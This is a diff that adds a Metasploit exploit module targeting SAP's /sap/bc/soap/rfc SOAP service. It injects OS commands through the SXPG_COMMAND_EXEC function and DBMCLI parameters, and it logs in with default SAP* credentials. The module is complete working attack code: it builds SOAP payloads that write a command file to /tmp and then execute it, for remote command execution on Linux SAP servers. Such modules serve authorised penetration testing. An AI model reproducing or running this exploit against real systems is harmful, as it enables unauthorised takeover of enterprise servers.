SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection

Author: nmonkee

modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

@@ -0,0 +1,161 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize
+		super(
+			'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',
+			'Description' => %q{
+					This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
+					use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
+					SAP Note: 1341333 and 1764994.
+					},
+			'References' =>
+				[
+					[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ],
+					[ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ],
+					[ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ]
+				],
+			'DisclosureDate' => 'May 8 2012',
+			'Arch'            => ARCH_CMD,
+			'Compat'          =>
+				{
+					'PayloadType' => 'cmd'
+				},
+			'Platform'       => ['unix', 'linux'],
+			'Targets'        =>
+				[
+					['SAP AS on Linux', {}]
+				],
+			'DefaultTarget'  => 0,
+			'Privileged'     => true,
+			'Author' =>
+				[
+					'nmonkee'
+				],
+			'License' => MSF_LICENSE
+			)
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new('CLIENT', [true, 'SAP Client', '001']),
+				OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+				OptString.new('PASSWORD', [true, 'Password', '06071992']),
+				OptEnum.new('OS', [true, 'Target OS', "linux", ['linux']]),
+			], self.class)
+	end
+
+	def exploit
+		ip = rhost
+		payload_ = create_payload(1)
+		exec_command(ip,payload_)
+		payload_ = create_payload(2)
+		exec_command(ip,payload_)
+	end
+
+	def create_payload(num)
+		command = ""
+		if datastore['OS'].downcase == "linux"
+			if num == 1
+				command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
+				tmp_ = payload.encoded.gsub(" ","\t")
+				tmp__ = tmp_.gsub("&","&amp;")
+				command << tmp__.gsub("<","&lt;")
+				command << "\n"
+			end
+			command = "-ic /tmp/pwned.txt" if num == 2
+		end
+		data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
+		data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
+		data << '<env:Body>' + "\r\n"
+		data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
+		data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
+		data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
+		data << '<OPERATINGSYSTEM>ANYOS</OPERATINGSYSTEM>' + "\r\n"
+		data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
+		data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r\n"
+		data << '</env:Body>' + "\r\n"
+		data << '</env:Envelope>' + "\r\n"
+		return data
+	end
+
+	def exec_command(ip,data)
+		user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+		print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
+		begin
+			res = send_request_raw(
+				{
+					'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+					'method' => 'POST',
+					'data' => data,
+					'headers' => {
+						'Content-Length' => data.size.to_s,
+						'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+						'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+						'Authorization' => 'Basic ' + user_pass,
+						'Content-Type' => 'text/xml; charset=UTF-8'
+						}
+				}, 45)
+			if res
+				if res.code != 500 and res.code != 200
+					print_error("[SAP] #{ip}:#{rport} - something went wrong!")
+					return
+				elsif res.body =~ /faultstring/
+					error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
+					0.upto(error.length-1) do |i|
+						print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
+					end
+					return
+				end
+				output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
+				result = []
+				0.upto(output.length-1) do |i|
+					if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
+					#nothing
+					elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
+					#nothing
+					elsif output[i] =~ /External program terminated with exit code/
+					#nothing
+					else
+						temp = output[i].to_s.gsub("&#62",">")
+						temp_ = temp.gsub("&#34","\"")
+						temp__ = temp_.gsub("&#39","'")
+						result << temp__ + "\n"
+					end
+				end
+				return
+			else
+				print_error("[SAP] #{ip}:#{rport} - no response")
+			end
+		rescue ::Rex::ConnectionError
+			print_error("[SAP] #{ip}:#{rport} - Unable to connect")
+			return
+		end
+	end
+end